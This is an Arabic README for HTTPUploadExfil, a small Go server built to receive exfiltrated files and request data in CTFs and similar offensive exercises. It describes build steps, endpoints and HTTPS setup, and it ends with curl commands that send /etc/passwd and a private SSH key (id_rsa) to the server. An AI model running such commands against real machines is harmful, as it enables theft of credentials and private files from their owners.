
خادم HTTP بسيط لتوصيل واستخراج الملفات/البيانات خلال، على سبيل المثال، مسابقات CTF.
HTTPUploadExfil هو خادم HTTP بسيط (جدا) مكتوب بلغة Go، مفيد للحصول على ملفات (ومعلومات أخرى) من جهاز باستخدام HTTP. على الرغم من وجود العديد من حالات الاستخدام، إلا أنه مصمم للاستخدام في سيناريوهات هجومية منخفضة المخاطر (مثل CTFs).
فكر فيه على أنه python3 -m http.server لكن لنقل البيانات من جهاز بدلاً من نقلها إليه.
من الواضح أن هذه طريقة عالية الصوت ومحدودة نوعًا ما لتسريب البيانات. ومع ذلك، فهي عملية جدًا وأسهل إلى حد ما من استخدام SMB أو FTP مثلاً. إذا كنت تبحث عن شيء أكثر أناقة، فانظر مثلاً إلى dnsteal أو PyExfil.
go build../httpuploadexfil :1337 /home/kali/loot على جهازك.http://YOUR_IP:1337/ على الجهاز الذي تريد تسريب البيانات منه./home/kali/loot.إذا كنت بحاجة إلى HTTPs، فانظر إلى المعلومات أدناه.
يمكنك أيضًا تنزيل الملفات الثنائية لأنظمة Linux و Windows من GitHub. ومع ذلك، فإن هذه الملفات الثنائية ليست بالضرورة ممثلة لأحدث التغييرات.
على الرغم من توفر الملفات الثنائية، فمن المستحسن بناء الأداة بنفسك. بهذه الطريقة، ستحصل على أحدث إصدار، وستعرف بالضبط ما تقوم بتشغيله. العملية بسيطة:
ما عليك سوى تشغيل go build داخل المجلد، وستحصل على ملف تنفيذي httpuploadexfil لمنصتك.
إذا قمت بإجراء تغييرات على الأداة، فتذكر تنسيق الكود باستخدام go fmt main.go.
بدلاً من ذلك، يمكنك أيضًا استخدام make لبناء الأداة. يمكنك أيضًا تشغيل make cert لإنشاء شهادات SSL (انظر أدناه).
حالة الاستخدام الأكثر شيوعًا هي تشغيل الخادم على الجهاز أ. الآن، على الجهاز ب، تقوم بالوصول إلى نموذج الرفع باستخدام متصفح وتحديد ملف لتسريبه. بالطبع، كما ترى أدناه، يمكن القيام بذلك أيضًا باستخدام curl مثلاً.
بالإضافة إلى رفع الملفات، يمكنك أيضًا استخدام HTTPUploadExfil لتسريب البيانات باستخدام طلبات GET بسيطة. إذا تم إرسال طلب إلى نقطة النهاية /g، فسيتم تخزين الطلب بالكامل على القرص.
وبالتالي، يمكنك تسريب البيانات باستخدام عنوان الطلب. من الأسهل استخدام معاملات GET (مثل ?data=...)، ولكن هناك خيارات أخرى.

بشكل افتراضي، يتم تشغيل HTTPUploadExfil على المنفذ 8080. ستتم كتابة جميع الملفات في الدليل الحالي.
./httpuploadexfil
يمكنك أيضًا تقديم بعض الوسائط:
./httpuploadexfil :1337 /home/kali/loot
إذا كنت بحاجة إلى تسجيل الطلبات، فقم بتمرير العلم -log كما يلي:
./httpuploadexfil -log
الوسيطة الأولى هي عنوان الربط، والثانية هي المجلد لتخزين الملفات فيه.
ستقوم الأداة أيضًا بعرض الملفات الموجودة في دليل الغنائم تحت نقطة النهاية /l. يمكن استخدام هذا كوسيلة سهلة لجلب الملفات إلى الهدف.
يعرض خادم الويب أربع نقاط نهاية لاستخدامك:
/ (GET) هو نموذج الرفع./p (POST) يأخذ البيانات من نموذج الرفع. يتطلب طلب multipart/form-data مع حقل file مملوء./g (GET) سيأخذ أي طلب GET ويخزن الطلب الكامل على الخادم./l (GET) سيوفر الوصول إلى الملفات في المجلد المحدد (قائمة الدليل). هذا لتوفير وظائف python3 -m http.server الأساسية.يمكن استخدام HTTPUploadExfil أيضًا في وضع HTTPs. للقيام بذلك، ما عليك سوى وضع ملفي HTTPUploadExfil.csr و HTTPUploadExfil.key بجانب الملف الثنائي. يمكن إنشاء هذه الملفات، على سبيل المثال، على النحو التالي:
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr
للقيام بذلك، يمكنك أيضًا تشغيل make cert.
إذا رأى الخادم ملف HTTPUploadExfil.csr، فسيحاول البدء في وضع HTTPs. للعودة إلى HTTP، ما عليك سوى إزالة أو إعادة تسمية ملفات الشهادة.
باستخدام Bash، يمكننا تسريب البيانات عبر GET باستخدام، على سبيل المثال:
echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g
بالطبع، يمكننا أيضًا استخدام curl لسحب الملفات:
curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
python3 -m http.server)